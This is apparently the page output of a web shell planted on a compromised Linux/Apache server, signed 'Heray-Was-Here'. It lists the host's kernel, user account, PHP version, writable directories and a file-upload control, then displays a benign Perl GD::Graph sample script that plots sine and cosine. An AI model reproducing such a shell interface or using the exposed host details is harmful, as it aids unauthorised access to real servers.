Heray-Was-Here
Server : Apache
System : Linux vps103298.mylogin.co 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : calvet ( 273824)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /usr/share/doc/perl-GDGraph/samples/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/doc/perl-GDGraph/samples/sample55.pl
use strict;
use GD::Graph::lines;
require 'save.pl';
use constant PI => 4 * atan2(1,1);

print STDERR "Processing sample55\n";

my @x = map {$_ * 3 * PI/100} (0 .. 100);
my @y = map sin, @x;
my @z = map cos, @x;

my @data = (\@x,\@y,\@z);

my $my_graph = new GD::Graph::lines();

$my_graph->set(
	x_label 			=> 'Angle (Radians)',
	y_label 			=> 'Trig Function Value',
	x_tick_number 		=> 'auto',
	y_tick_number 		=> 'auto',
	title 				=> 'Sine and Cosine',
	line_width 			=> 1,
	x_label_position 	=> 1/2,
	r_margin 			=> 15,

	transparent 		=> 0,
);

$my_graph->set_legend('Thanks to Scott Prahl');

$my_graph->plot(\@data);
save_chart($my_graph, 'sample55');


1;

Hry